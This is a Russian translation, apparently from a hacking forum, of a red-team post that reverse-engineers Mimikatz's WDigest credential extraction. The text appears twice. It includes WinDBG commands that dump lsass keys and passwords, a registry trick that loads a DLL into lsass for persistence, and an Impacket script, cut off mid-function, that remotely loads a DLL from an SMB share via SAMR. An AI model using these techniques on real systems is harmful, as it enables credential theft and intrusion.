Введение
Мы упаковали его, мы обернули его, мы внедрили его и обработали с помощью Powershell, и теперь мы решили скармливать ему дамп памяти, и все же Mimikatz остается инструментом выбора при извлечении учетных данных из lsass на Windows.
Конечно, это связано с тем, что с каждым новым контролем безопасности, вводимым Microsoft, GentilKiwi всегда находит пару уловок в рукаве. Если вы когда-либо смотрели на усилия, которые вкладываются в Mimikatz, вы сильно удивитесь,
поскольку поддерживаются все версии Windows x86 и x64 (а в последнее время - появилась поддержка Windows на архитектуре ARM). И, конечно же, благодаря успеху Mimikatz на протяжении многих лет, BlueTeam теперь очень хорошо умеет обнаруживать его
использование во многих формах. По сути, выполните Mimikatz на хосте, и если среда хоть сколько-нибудь развита, вас наверняка заметят.
Благодаря моим многочисленным онлайн- и офлайн-разговорам, люди, вероятно, уже знают мои мысли о RedTeam, понимая их инструменты, выходящие за рамки простого выполнения сценария. А поскольку поставщики средств безопасности сокращают и
отслеживают поверхность атаки распространенных уловок часто быстрее, чем мы можем открывать новые методы, знание того, как конкретный метод работает вплоть до вызовов API, может предложить много преимуществ, в том числе избежание обнаружения
в хорошо защищенных средах.
При этом Mimikatz - это инструмент, который в той или иной форме прилагается к большинству наборов инструментов пост-эксплуатации. И хотя некоторые поставщики систем безопасности отслеживают взаимодействие процессов с lsass,
многие другие решили попытаться идентифицировать сам Mimikatz.
Я раздумывал над идеей избавиться от Mimikatz для определенных задач (в основном тех, где извлечение дампа памяти невозможно или не разрешено), но какое-то время меня беспокоило то, что я так долго работал с инструментом, роботу которого на низком
уровне я слабо себе представляю.
Итак, в нескольких сообщениях я хотел изменить это и исследовать магию, начиная с того, где все началось… WDigest. В частности, рассмотрим, как учетные данные в открытом виде фактически кэшируются в lsass и как они извлекаются из памяти с помощью
это может стоить создание специального инструмента на основе исходного кода Mimikatz вместо того, чтобы брать с собой полный набор.
В завершение поста я также рассмотрю некоторые дополнительные методы загрузки произвольных DLL в lsass, которые, надеюсь, можно комбинировать с продемонстрированными примерами кода.
Примечание. В этом посте широко используется исходный код Mimikatz, а также бесчисленные часы, посвященные ему разработчиками. Это усилие должно стать более очевидным, когда вы увидите недокументированные структуры,
которые внезапно обнаруживаются при просмотре кода. Спасибо Mimikatz, Benjamin Delpy и Vincent Le Toux за их потрясающую работу.
И так, как же работат магия sekurlsa::wdigest?
Итак, как уже упоминалось, в этом посте мы рассмотрим WDigest, возможно, функцию, благодаря которой Mimikatz стал самым известным. Кэширование учетных данных WDigest, конечно, было включено по умолчанию до Windows Server 2008 R2,
после чего кеширование учетных данных в виде обычного текста было отключено.
При реверсировании компонента ОС я обычно присоединяю отладчик и проверяю, как он взаимодействует с ОС во время выполнения. К сожалению, в этом случае это будет не так просто, как прикрепить WinDBG к lsass, так как довольно быстро вы увидите,
что Windows останавливается, прежде чем предупредить вас о предстоящей перезагрузке. Вместо этого нам придется подключиться к ядру и переключиться на процесс lsass с Ring-0. Если вы никогда раньше не подключали WinDBG к ядру,
ознакомьтесь с одним из моих предыдущих постов о том, как настроить отладчик ядра здесь.
С подключенным отладчиком ядра нам нужно получить адрес EPROCESS процесса lsass, который можно найти с помощью команды
С определенным адресом EPROCESS (
Простой
Если на этом этапе вы обнаружите, что символы обрабатываются некорректно, попробуйте
С подключенным отладчиком давайте углубимся в WDigest.
Погружаемся в wdigest.dll (и немного lsasrv.dll)
Если мы посмотрим на исходный код Mimikatz, мы увидим, что процесс идентификации учетных данных в памяти заключается в сканировании подписей. Давайте воспользуемся возможностью использовать инструмент, который сейчас в моде,
Гидра, и посмотрим, на что охотится Mimikatz.
Поскольку в настоящее время я работаю над Windows 10 x64, я сосредоточусь на подписи PTRN_WIN6_PasswdSet, показанной ниже:
После предоставления этой поисковой сигнатуры Ghidra мы понимаем, для чего Mimikatz сканирует память:
Выше у нас есть функция
давайте вернемся назад и выясним, что именно вызывает эту функцию, проверив перекрестные ссылки, что приведет нас сюда:
Здесь у нас есть
Это выглядит многообещающим, поскольку мы видим, что учетные данные передаются через эту функцию обратного вызова. Подтверждаем, что мы попали в нужное место.
В WinDBG мы можем добавить точку останова с помощью
Этого должно быть достаточно, чтобы сработала точка останова. Проверяя аргументы вызова, мы можем увидеть, как в функцию передаются учетные данные:
Если мы продолжим выполнение и добавим еще одну точку останова в
Однако, если мы взглянем непосредственно перед вызовом LogSessHandlerPasswdSet, мы обнаружим следующее:
На самом деле это заглушка, используемая для Control Flow Guard (похоже, в Ghidra 9.0.3 есть улучшение для отображения заглушек CFG), но если мы проёдемся отладчиком, сразу станет понятно, что на самом деле это вызов
Ожидаемый результат, поскольку мы знаем, что учетные данные хранятся в зашифрованном виде в памяти. К сожалению,
функциональность для расшифровки извлеченных учетных данных. Следование нашему дизассемблеру показывает, что этот вызов на самом деле является просто оболочкой для
А
Интересно, что функция шифрования / дешифрования выбирается в зависимости от длины предоставленного BLOB, который необходимо зашифровать.
Если длина предоставленного буфера делится на 8 (предоставлена побитовой операцией param_2 & 7 на скриншоте выше), то используется AES. В противном случае используется 3Des.
Итак, теперь мы знаем, что наш пароль зашифрован BCryptEncrypt, но как насчет ключа? Что ж, если мы посмотрим выше, мы действительно увидим ссылки на
что
Это означает, что новый ключ генерируется случайным образом каждый раз при запуске lsass, который необходимо извлечь, прежде чем мы сможем расшифровать любые кэшированные учетные данные WDigest.
Вернемся к исходному коду Mimikatz, чтобы убедиться, что мы не сбились с пути, мы видим, что действительно идет охота за функцией
опять же с исчерпывающим списком сигнатур для различных версий и архитектур Windows:
И если мы поищем это в Ghidra, мы увидим, что он попадает сюда:
Здесь мы видим ссылку на адрес hAesKey. Таким образом, аналогично поиску по сигнатуре выше, Mimikatz ищет в памяти криптоключи.
Затем нам нужно понять, как Mimikatz извлекает ключи из памяти. Для этого нам нужно обратиться к kuhl_m_sekurlsa_nt6_acquireKey в Mimikatz, в котором подчеркивается, насколько долго этот инструмент поддерживает различные версии ОС.
Мы видим, что hAesKey и h3DesKey (которые имеют тип BCRYPT_KEY_HANDLE, возвращаемый из BCryptGenerateSymmetricKey) фактически указывают на структуру в памяти, состоящую из полей, включая сгенерированные симметричные ключи AES и 3DES.
Эту структуру можно найти в документации Mimikatz:
Мы можем сопоставить это с WinDBG, чтобы убедиться, что мы на правильном пути, проверив тег «UUUR», упомянутый выше:
По смещению 0x10 мы видим, что Mimikatz ссылается на PKIWI_BCRYPT_KEY, который имеет следующую структуру:
И если немного пройтись WinDBG, то сразу обнаруживается тот же тег, на который есть ссылка:
Последний член этой структуры - это ссылка на Mimikatz с именем KIWI_HARD_KEY, которая содержит следующее:
Эта структура состоит из размера ключа в виде cbSecret, за которым следует фактический ключ в поле данных.
Это означает, что мы можем использовать WinDBG для извлечения этого ключа с помощью:
Это дает нам
Зная это, мы можем выполнить тот же процесс для извлечения
Теперь, когда мы понимаем, как извлекаются ключи, нам нужно найти фактические учетные данные, кэшированные WDigest. Вернемся к указателю l_LogSessList, который мы обсуждали ранее.
Это поле соответствует связанному списку, который мы можем просмотреть с помощью команды
Структура этих записей содержит следующие поля:
За этой структурой следуют три поля
Эта команда дампует кешированные имена пользователей:
И, наконец, мы можем дампануть зашифрованный пароль, используя аналогичную команду:
Вот и все, что нужно для извлечения учетных данных WDigest из памяти.
Итак, теперь, когда у нас есть вся информация, необходимая для процесса извлечения и дешифрования, насколько возможно было бы объединить все это в небольшой автономный инструмент вне Mimikatz?
Чтобы изучить это, я создал хорошо прокомментированный POC, который доступен здесь. При запуске в Windows 10 x64 (сборка 1809) он предоставляет подробную информацию о процессе извлечения кредитов:
Ни в коем случае не следует считать это безопасным для OpSec, но мы надеемся, что это станет примером того, как мы можем создавать альтернативные инструменты.
Теперь, когда мы понимаем, как кэшированные учетные данные WDigest захватываются и дешифруются, мы можем перейти к другой области,
влияющей на сбор учетных данных в виде обычного текста, «UseLogonCredential».
Но UseLogonCredential равно 0
Итак, как мы знаем, когда все бегают вокруг сброса учетных данных в открытом виде, Microsoft решила по умолчанию отключить поддержку этого устаревшего протокола. Конечно, будут некоторые пользователи, которые могут использовать WDigest,
поэтому, чтобы предоставить возможность повторного включения этого, Microsoft указала на раздел реестра HKEY_LOCAL_MACHINE \ SYSTEM \ CurrentControlSet \ Control \ SecurityProviders \ WDigest \ UseLogonCredential.
Переключение этого параметра с «0» на «1» заставляет WDigest снова начать кэширование учетных данных, что, конечно, означало, что пентестеры вернулись в игру ...однако была загвоздка, переключение этого параметра требовало перезагрузки ОС,
и я еще не встретить клиента, который позволил бы это за пределами тестовой среды.
Возникает очевидный вопрос ... зачем вам перезагружать машину, чтобы изменение вступило в силу?
Дополнение: Как указано GentilKiwi, перезагрузка не требуется, чтобы это изменение вступило в силу. Я добавил обзор того, почему это происходит, в конце этого раздела.
Давайте еще раз взглянем на
Здесь мы ясно видим, что есть проверка двух условий с использованием глобальных переменных. Если для
что путь кода используется через
с которым мы обычно сталкиваемся при открытии окон Windows 2012+. Поэтому разумно предположить, что эта переменная управляется указанным выше значением ключа реестра на основе ее имени, и мы обнаруживаем,
что это так, отслеживая ее назначение:
Понимая, какие переменные в WDigest.dll контролируют кеширование учетных данных, можем ли мы изменить это, не обновляя реестр?
Что, если мы обновим этот параметр
Возобновляя выполнение, мы видим, что кешированные учетные данные снова сохраняются:
Конечно, большинство вещей возможно, когда у вас подключен отладчик ядра, но если у вас есть способ манипулировать памятью lsass без запуска AV / EDR (см. Наш предыдущий пост в блоге Cylance для одного примера того,
как вы это сделаете), тогда ничто не мешает вам создать инструмент для управления этой переменной. Я снова создал очень подробный инструмент, чтобы продемонстрировать, как это можно сделать, который можно найти здесь.
Этот пример будет искать и обновлять значение
являются тривиальными и оставлены в качестве упражнения для читателя.
После выполнения нашего POC мы обнаруживаем, что WDigest теперь был повторно включен без необходимости устанавливать ключ реестра, что позволяет нам извлекать учетные данные по мере их кэширования:
Опять же, этот POC не следует рассматривать как безопасный для OpSec, а следует использовать как подробный пример того, как вы можете создать свой собственный.
Конечно, этот метод включения WDigest сопряжен с рисками, в основном с вызовом
Существуют также другие методы получения учетных данных в виде обычного текста, которые могут быть более подходящими для вашей цели за пределами WDigest (например, memssp, который мы рассмотрим в следующей публикации).
Дополнение: как указал GentilKiwi, перезагрузка не требуется, чтобы
Просматривая другие места, ссылающиеся на значение реестра, мы находим
API Win32, используемый для запуска этой функции при обновлении -
И если мы добавим точку останова на
Бонусный раунд - загрузка произвольной DLL в LSASS
Итак, копаясь в дизассемблере, я хотел найти альтернативный способ загрузки кода в lsass, избегая при этом потенциально связанных вызовов Win32 API, или путем загрузки SSP.
После небольшой разборки в lsasrv.dll я обнаружил следующее:
Эта попытка вызвать LoadLibraryExW для заданного пользователем значения может быть найдена в функции
Важно, чтобы в конце функции DllMain мы возвращали FALSE, чтобы вызвать ошибку
Несоблюдение этого правила приведет к BSOD при перезагрузке до тех пор, пока не будет удалена DLL или раздел реестра.
После создания DLL все, что нам нужно сделать, это создать указанный выше раздел реестра:
Загрузка библиотеки DLL будет происходить при перезагрузке системы, что делает ее потенциальной техникой сохранения для привилегированных компромиссов,
передавая вашу полезную нагрузку прямо в lsass (если, конечно, PPL не включен).
Бонусный раунд 2 - удаленная загрузка произвольной DLL в LSASS
После некоторого дальнейшего поиска в samsrv.dll был обнаружен вектор, аналогичный приведенному выше.
И снова контролируемое значение реестра загружается в lsass с помощью вызова
Опять же, мы можем использовать это, добавив раздел реестра и перезагрузившись, однако запустить этот случай намного проще, поскольку его можно запустить с помощью вызовов SAMR RPC.
Давайте немного повеселимся, используя приведенный выше код извлечения учетных данных WDigest для создания библиотеки DLL, которая будет сбрасывать учетные данные для нас.
Чтобы загрузить нашу DLL, мы можем использовать очень простой скрипт Impacket Python, чтобы изменить реестр и добавить ключ в
размещенную в открытом общем SMB-ресурсе, а затем запустить загрузку библиотеки DLL, используя вызов hSamConnect RPC. Код выглядит так:
И на практике мы можем видеть учетные данные, извлеченные из памяти:
*В оригинале стоит asciinema, на фото только результат
Здесь можно найти код используемой библиотеки DLL, который является модификацией предыдущего примера.
Надеюсь, этот пост дал вам представление о том, как работает кэширование учетных данных WDigest и как Mimikatz извлекает и расшифровывает пароли во время "
Что еще более важно, я надеюсь, что это поможет любому, кто хочет создать что-то нестандартное для следующего экзамена. Я продолжу изучать другие области, которые обычно используются во время помолвки,
но если у вас есть какие-либо вопросы или предложения, обращайтесь ко мне в обычных местах.
От ТС
Эта статья является переводом вот этой статьи
В блоге автора есть вторая часть, так что если первая вас заинтересовала то дайте мне знать.
Если у вас есть статьи на примете, не стесняйтесь и кидайте сюда.
Перевод:
Azrv3l cпециально для xss.pro
Мы упаковали его, мы обернули его, мы внедрили его и обработали с помощью Powershell, и теперь мы решили скармливать ему дамп памяти, и все же Mimikatz остается инструментом выбора при извлечении учетных данных из lsass на Windows.
Конечно, это связано с тем, что с каждым новым контролем безопасности, вводимым Microsoft, GentilKiwi всегда находит пару уловок в рукаве. Если вы когда-либо смотрели на усилия, которые вкладываются в Mimikatz, вы сильно удивитесь,
поскольку поддерживаются все версии Windows x86 и x64 (а в последнее время - появилась поддержка Windows на архитектуре ARM). И, конечно же, благодаря успеху Mimikatz на протяжении многих лет, BlueTeam теперь очень хорошо умеет обнаруживать его
использование во многих формах. По сути, выполните Mimikatz на хосте, и если среда хоть сколько-нибудь развита, вас наверняка заметят.
Благодаря моим многочисленным онлайн- и офлайн-разговорам, люди, вероятно, уже знают мои мысли о RedTeam, понимая их инструменты, выходящие за рамки простого выполнения сценария. А поскольку поставщики средств безопасности сокращают и
отслеживают поверхность атаки распространенных уловок часто быстрее, чем мы можем открывать новые методы, знание того, как конкретный метод работает вплоть до вызовов API, может предложить много преимуществ, в том числе избежание обнаружения
в хорошо защищенных средах.
При этом Mimikatz - это инструмент, который в той или иной форме прилагается к большинству наборов инструментов пост-эксплуатации. И хотя некоторые поставщики систем безопасности отслеживают взаимодействие процессов с lsass,
многие другие решили попытаться идентифицировать сам Mimikatz.
Я раздумывал над идеей избавиться от Mimikatz для определенных задач (в основном тех, где извлечение дампа памяти невозможно или не разрешено), но какое-то время меня беспокоило то, что я так долго работал с инструментом, роботу которого на низком
уровне я слабо себе представляю.
Итак, в нескольких сообщениях я хотел изменить это и исследовать магию, начиная с того, где все началось… WDigest. В частности, рассмотрим, как учетные данные в открытом виде фактически кэшируются в lsass и как они извлекаются из памяти с помощью
sekurlsa::wdigest. Это будет означать реверс и отладку, но, надеюсь, к концу вы увидите, что, хотя сложно воспроизвести количество усилий, которые были затрачены на Mimikatz, если ваша цель - использовать только небольшую часть доступных функций,это может стоить создание специального инструмента на основе исходного кода Mimikatz вместо того, чтобы брать с собой полный набор.
В завершение поста я также рассмотрю некоторые дополнительные методы загрузки произвольных DLL в lsass, которые, надеюсь, можно комбинировать с продемонстрированными примерами кода.
Примечание. В этом посте широко используется исходный код Mimikatz, а также бесчисленные часы, посвященные ему разработчиками. Это усилие должно стать более очевидным, когда вы увидите недокументированные структуры,
которые внезапно обнаруживаются при просмотре кода. Спасибо Mimikatz, Benjamin Delpy и Vincent Le Toux за их потрясающую работу.
И так, как же работат магия sekurlsa::wdigest?
Итак, как уже упоминалось, в этом посте мы рассмотрим WDigest, возможно, функцию, благодаря которой Mimikatz стал самым известным. Кэширование учетных данных WDigest, конечно, было включено по умолчанию до Windows Server 2008 R2,
после чего кеширование учетных данных в виде обычного текста было отключено.
При реверсировании компонента ОС я обычно присоединяю отладчик и проверяю, как он взаимодействует с ОС во время выполнения. К сожалению, в этом случае это будет не так просто, как прикрепить WinDBG к lsass, так как довольно быстро вы увидите,
что Windows останавливается, прежде чем предупредить вас о предстоящей перезагрузке. Вместо этого нам придется подключиться к ядру и переключиться на процесс lsass с Ring-0. Если вы никогда раньше не подключали WinDBG к ядру,
ознакомьтесь с одним из моих предыдущих постов о том, как настроить отладчик ядра здесь.
С подключенным отладчиком ядра нам нужно получить адрес EPROCESS процесса lsass, который можно найти с помощью команды
!process 0 0 lsass.exe:
С определенным адресом EPROCESS (
ffff9d01325a7080 выше) мы можем запросить переключение нашего сеанса отладки в контекст процесса lsass:
Простой
lm покажет, что теперь у нас есть доступ к пространству памяти WDigest DLL:
Если на этом этапе вы обнаружите, что символы обрабатываются некорректно, попробуйте
.reload / user.С подключенным отладчиком давайте углубимся в WDigest.
Погружаемся в wdigest.dll (и немного lsasrv.dll)
Если мы посмотрим на исходный код Mimikatz, мы увидим, что процесс идентификации учетных данных в памяти заключается в сканировании подписей. Давайте воспользуемся возможностью использовать инструмент, который сейчас в моде,
Гидра, и посмотрим, на что охотится Mimikatz.
Поскольку в настоящее время я работаю над Windows 10 x64, я сосредоточусь на подписи PTRN_WIN6_PasswdSet, показанной ниже:
После предоставления этой поисковой сигнатуры Ghidra мы понимаем, для чего Mimikatz сканирует память:
Выше у нас есть функция
LogSessHandlerPasswdSet. В частности, подпись ссылается сразу за указателем l_LogSessList. Этот указатель является ключом к извлечению учетных данных из WDigest, но прежде чем уйти вперед,давайте вернемся назад и выясним, что именно вызывает эту функцию, проверив перекрестные ссылки, что приведет нас сюда:
Здесь у нас есть
SpAcceptCredentials, которая является экспортированной функцией из WDigest.dll, но что она делает?
Это выглядит многообещающим, поскольку мы видим, что учетные данные передаются через эту функцию обратного вызова. Подтверждаем, что мы попали в нужное место.
В WinDBG мы можем добавить точку останова с помощью
bp wdigest! SpAcceptCredentials, после чего мы используем команду runas в Windows для создания оболочки:
Этого должно быть достаточно, чтобы сработала точка останова. Проверяя аргументы вызова, мы можем увидеть, как в функцию передаются учетные данные:
Если мы продолжим выполнение и добавим еще одну точку останова в
wdigest!LogSessHandlerPasswdSet, мы обнаружим, что, хотя наше имя пользователя передано, параметр, представляющий наш пароль, не может быть виден.Однако, если мы взглянем непосредственно перед вызовом LogSessHandlerPasswdSet, мы обнаружим следующее:
На самом деле это заглушка, используемая для Control Flow Guard (похоже, в Ghidra 9.0.3 есть улучшение для отображения заглушек CFG), но если мы проёдемся отладчиком, сразу станет понятно, что на самом деле это вызов
LsaProtectMemory:
Ожидаемый результат, поскольку мы знаем, что учетные данные хранятся в зашифрованном виде в памяти. К сожалению,
LsaProtectMemory не предоставляется за пределами lsass, поэтому нам нужно знать, как мы можем воссоздать егофункциональность для расшифровки извлеченных учетных данных. Следование нашему дизассемблеру показывает, что этот вызов на самом деле является просто оболочкой для
LsaEncryptMemory:
А
LsaEncryptMemory на самом деле просто обёртка для вызова BCryptEncrypt:
Интересно, что функция шифрования / дешифрования выбирается в зависимости от длины предоставленного BLOB, который необходимо зашифровать.
Если длина предоставленного буфера делится на 8 (предоставлена побитовой операцией param_2 & 7 на скриншоте выше), то используется AES. В противном случае используется 3Des.
Итак, теперь мы знаем, что наш пароль зашифрован BCryptEncrypt, но как насчет ключа? Что ж, если мы посмотрим выше, мы действительно увидим ссылки на
lsasrv!H3DesKey и lsasrv!HAesKey. Отслеживание ссылок на эти адреса показывает,что
lsasrv!LsaInitializeProtectedMemory используется для присвоения каждому начальному значению. В частности, каждый ключ создается на основе вызовов BCryptGenRandom:
Это означает, что новый ключ генерируется случайным образом каждый раз при запуске lsass, который необходимо извлечь, прежде чем мы сможем расшифровать любые кэшированные учетные данные WDigest.
Вернемся к исходному коду Mimikatz, чтобы убедиться, что мы не сбились с пути, мы видим, что действительно идет охота за функцией
LsaInitializeProtectedMemory,опять же с исчерпывающим списком сигнатур для различных версий и архитектур Windows:
И если мы поищем это в Ghidra, мы увидим, что он попадает сюда:
Здесь мы видим ссылку на адрес hAesKey. Таким образом, аналогично поиску по сигнатуре выше, Mimikatz ищет в памяти криптоключи.
Затем нам нужно понять, как Mimikatz извлекает ключи из памяти. Для этого нам нужно обратиться к kuhl_m_sekurlsa_nt6_acquireKey в Mimikatz, в котором подчеркивается, насколько долго этот инструмент поддерживает различные версии ОС.
Мы видим, что hAesKey и h3DesKey (которые имеют тип BCRYPT_KEY_HANDLE, возвращаемый из BCryptGenerateSymmetricKey) фактически указывают на структуру в памяти, состоящую из полей, включая сгенерированные симметричные ключи AES и 3DES.
Эту структуру можно найти в документации Mimikatz:
C++:
typedef struct _KIWI_BCRYPT_HANDLE_KEY {
ULONG size;
ULONG tag; // 'UUUR'
PVOID hAlgorithm;
PKIWI_BCRYPT_KEY key;
PVOID unk0;
} KIWI_BCRYPT_HANDLE_KEY, *PKIWI_BCRYPT_HANDLE_KEY;
Мы можем сопоставить это с WinDBG, чтобы убедиться, что мы на правильном пути, проверив тег «UUUR», упомянутый выше:
По смещению 0x10 мы видим, что Mimikatz ссылается на PKIWI_BCRYPT_KEY, который имеет следующую структуру:
C++:
typedef struct _KIWI_BCRYPT_KEY81 {
ULONG size;
ULONG tag; // 'MSSK'
ULONG type;
ULONG unk0;
ULONG unk1;
ULONG unk2;
ULONG unk3;
ULONG unk4;
PVOID unk5; // before, align in x64
ULONG unk6;
ULONG unk7;
ULONG unk8;
ULONG unk9;
KIWI_HARD_KEY hardkey;
} KIWI_BCRYPT_KEY81, *PKIWI_BCRYPT_KEY81;
И если немного пройтись WinDBG, то сразу обнаруживается тот же тег, на который есть ссылка:
Последний член этой структуры - это ссылка на Mimikatz с именем KIWI_HARD_KEY, которая содержит следующее:
C++:
typedef struct _KIWI_HARD_KEY {
ULONG cbSecret;
BYTE data[ANYSIZE_ARRAY]; // etc...
} KIWI_HARD_KEY, *PKIWI_HARD_KEY;
Эта структура состоит из размера ключа в виде cbSecret, за которым следует фактический ключ в поле данных.
Это означает, что мы можем использовать WinDBG для извлечения этого ключа с помощью:
Это дает нам
h3DesKey длиной 0x18 байт, состоящий из
Код:
b9 a8 b6 10 ee 85 f3 4f d3 cb 50 a6 a4 88 dc 6e ee b3 88 68 32 9a ec 5a.
Зная это, мы можем выполнить тот же процесс для извлечения
hAesKey:
Теперь, когда мы понимаем, как извлекаются ключи, нам нужно найти фактические учетные данные, кэшированные WDigest. Вернемся к указателю l_LogSessList, который мы обсуждали ранее.
Это поле соответствует связанному списку, который мы можем просмотреть с помощью команды
WinDBG! List -x "dq @ $ extret" poi (wdigest! L_LogSessList):
Структура этих записей содержит следующие поля:
C++:
typedef struct _KIWI_WDIGEST_LIST_ENTRY {
struct _KIWI_WDIGEST_LIST_ENTRY *Flink;
struct _KIWI_WDIGEST_LIST_ENTRY *Blink;
ULONG UsageCount;
struct _KIWI_WDIGEST_LIST_ENTRY *This;
LUID LocallyUniqueIdentifier;
} KIWI_WDIGEST_LIST_ENTRY, *PKIWI_WDIGEST_LIST_ENTRY;
За этой структурой следуют три поля
LSA_UNICODE_STRING со следующими смещениями:- 0x30 - Username
- 0x40 - Hostname
- 0x50 - Зашифрованый пароль
Bash:
!list -x "dS @$extret+0x30" poi(wdigest!l_LogSessList)
Эта команда дампует кешированные имена пользователей:
И, наконец, мы можем дампануть зашифрованный пароль, используя аналогичную команду:
Bash:
!list -x "db poi(@$extret+0x58)" poi(wdigest!l_LogSessList)
Вот и все, что нужно для извлечения учетных данных WDigest из памяти.
Итак, теперь, когда у нас есть вся информация, необходимая для процесса извлечения и дешифрования, насколько возможно было бы объединить все это в небольшой автономный инструмент вне Mimikatz?
Чтобы изучить это, я создал хорошо прокомментированный POC, который доступен здесь. При запуске в Windows 10 x64 (сборка 1809) он предоставляет подробную информацию о процессе извлечения кредитов:
Ни в коем случае не следует считать это безопасным для OpSec, но мы надеемся, что это станет примером того, как мы можем создавать альтернативные инструменты.
Теперь, когда мы понимаем, как кэшированные учетные данные WDigest захватываются и дешифруются, мы можем перейти к другой области,
влияющей на сбор учетных данных в виде обычного текста, «UseLogonCredential».
Но UseLogonCredential равно 0
Итак, как мы знаем, когда все бегают вокруг сброса учетных данных в открытом виде, Microsoft решила по умолчанию отключить поддержку этого устаревшего протокола. Конечно, будут некоторые пользователи, которые могут использовать WDigest,
поэтому, чтобы предоставить возможность повторного включения этого, Microsoft указала на раздел реестра HKEY_LOCAL_MACHINE \ SYSTEM \ CurrentControlSet \ Control \ SecurityProviders \ WDigest \ UseLogonCredential.
Переключение этого параметра с «0» на «1» заставляет WDigest снова начать кэширование учетных данных, что, конечно, означало, что пентестеры вернулись в игру ...
и я еще не встретить клиента, который позволил бы это за пределами тестовой среды.
Возникает очевидный вопрос ... зачем вам перезагружать машину, чтобы изменение вступило в силу?
Дополнение: Как указано GentilKiwi, перезагрузка не требуется, чтобы это изменение вступило в силу. Я добавил обзор того, почему это происходит, в конце этого раздела.
Давайте еще раз взглянем на
SpAcceptCredentials, и после небольшого поиска мы обнаружим следующее:
Здесь мы ясно видим, что есть проверка двух условий с использованием глобальных переменных. Если для
g_IsCredGuardEnabled установлено значение 1 или для g_fParameter_UseLogonCredential установлено значение 0, мы обнаруживаем,что путь кода используется через
LogSessHandlerNoPasswordInsert, а не через вышеуказанный вызов LogSessHandlerPasswdSet. Как следует из названия, эта функция кэширует сеанс, но не пароль, что приводит к поведению,с которым мы обычно сталкиваемся при открытии окон Windows 2012+. Поэтому разумно предположить, что эта переменная управляется указанным выше значением ключа реестра на основе ее имени, и мы обнаруживаем,
что это так, отслеживая ее назначение:
Понимая, какие переменные в WDigest.dll контролируют кеширование учетных данных, можем ли мы изменить это, не обновляя реестр?
Что, если мы обновим этот параметр
g_fParameter_UseLogonCredential во время выполнения с помощью нашего отладчика?
Возобновляя выполнение, мы видим, что кешированные учетные данные снова сохраняются:
Конечно, большинство вещей возможно, когда у вас подключен отладчик ядра, но если у вас есть способ манипулировать памятью lsass без запуска AV / EDR (см. Наш предыдущий пост в блоге Cylance для одного примера того,
как вы это сделаете), тогда ничто не мешает вам создать инструмент для управления этой переменной. Я снова создал очень подробный инструмент, чтобы продемонстрировать, как это можно сделать, который можно найти здесь.
Этот пример будет искать и обновлять значение
g_fParameter_UseLogonCredential в памяти. Если вы работаете с системой, защищенной с помощью Credential Guard, модификации, необходимые для обновления этого значения,являются тривиальными и оставлены в качестве упражнения для читателя.
После выполнения нашего POC мы обнаруживаем, что WDigest теперь был повторно включен без необходимости устанавливать ключ реестра, что позволяет нам извлекать учетные данные по мере их кэширования:
Опять же, этот POC не следует рассматривать как безопасный для OpSec, а следует использовать как подробный пример того, как вы можете создать свой собственный.
Конечно, этот метод включения WDigest сопряжен с рисками, в основном с вызовом
WriteProcessMemory в lsass, но, если он подходит для среды, он предлагает хороший способ включить WDigest без установки значения реестра.Существуют также другие методы получения учетных данных в виде обычного текста, которые могут быть более подходящими для вашей цели за пределами WDigest (например, memssp, который мы рассмотрим в следующей публикации).
Дополнение: как указал GentilKiwi, перезагрузка не требуется, чтобы
UseLogonCredential вступил в силу ... так что вернемся к дизассемблеру.Просматривая другие места, ссылающиеся на значение реестра, мы находим
wdigest!DigestWatchParamKey, который отслеживает ряд ключей, включая:
API Win32, используемый для запуска этой функции при обновлении -
RegNotifyKeyChangeValue:
И если мы добавим точку останова на
wdigest!DigestWatchParamKey в WinDBG, мы увидим, что это срабатывает, когда мы пытаемся добавить UseLogonCredential:
Бонусный раунд - загрузка произвольной DLL в LSASS
Итак, копаясь в дизассемблере, я хотел найти альтернативный способ загрузки кода в lsass, избегая при этом потенциально связанных вызовов Win32 API, или путем загрузки SSP.
После небольшой разборки в lsasrv.dll я обнаружил следующее:
Эта попытка вызвать LoadLibraryExW для заданного пользователем значения может быть найдена в функции
LsapLoadLsaDbExtensionDll и позволяет нам создать DLL для загрузки в процесс lsass, например:
C++:
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
// Insert l33t payload here
break;
}
// Important to avoid BSOD
return FALSE;
}
Важно, чтобы в конце функции DllMain мы возвращали FALSE, чтобы вызвать ошибку
LoadLibraryEx. Это сделано для того, чтобы избежать последующего вызова GetProcAddress.Несоблюдение этого правила приведет к BSOD при перезагрузке до тех пор, пока не будет удалена DLL или раздел реестра.
После создания DLL все, что нам нужно сделать, это создать указанный выше раздел реестра:
Bash:
New-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\NTDS -Name LsaDbExtPt -Value "C:\xpnsec.dll"
Загрузка библиотеки DLL будет происходить при перезагрузке системы, что делает ее потенциальной техникой сохранения для привилегированных компромиссов,
передавая вашу полезную нагрузку прямо в lsass (если, конечно, PPL не включен).
Бонусный раунд 2 - удаленная загрузка произвольной DLL в LSASS
После некоторого дальнейшего поиска в samsrv.dll был обнаружен вектор, аналогичный приведенному выше.
И снова контролируемое значение реестра загружается в lsass с помощью вызова
LoadLibraryEx:
Опять же, мы можем использовать это, добавив раздел реестра и перезагрузившись, однако запустить этот случай намного проще, поскольку его можно запустить с помощью вызовов SAMR RPC.
Давайте немного повеселимся, используя приведенный выше код извлечения учетных данных WDigest для создания библиотеки DLL, которая будет сбрасывать учетные данные для нас.
Чтобы загрузить нашу DLL, мы можем использовать очень простой скрипт Impacket Python, чтобы изменить реестр и добавить ключ в
HKLM\SYSTEM\CurrentControlSet\Services\NTDS\DirectoryServiceExtPt, указывающий на нашу DLL,размещенную в открытом общем SMB-ресурсе, а затем запустить загрузку библиотеки DLL, используя вызов hSamConnect RPC. Код выглядит так:
Python:
from impacket.dcerpc.v5 import transport, rrp, scmr, rpcrt, samr
from impacket.smbconnection import SMBConnection
def trigger_samr(remoteHost, username, password):
print("[*] Connecting to SAMR RPC service")
try:
rpctransport = transport.SMBTransport(remoteHost, 445, r'\samr', username, password, "", "", "", "")
dce = rpctransport.get_dce_rpc()
dce.connect()
dce.bind(samr.MSRPC_UUID_SAMR)
except (Exception) as e:
print("[x] Error binding to SAMR: %s" % e)
return
print("[*] Connection established, triggering SamrConnect to force load the added DLL")
# Trigger
samr.hSamrConnect(dce)
print("[*] Triggered, DLL should have been executed...")
def start(remoteName, remoteHost, username, password, dllPath):
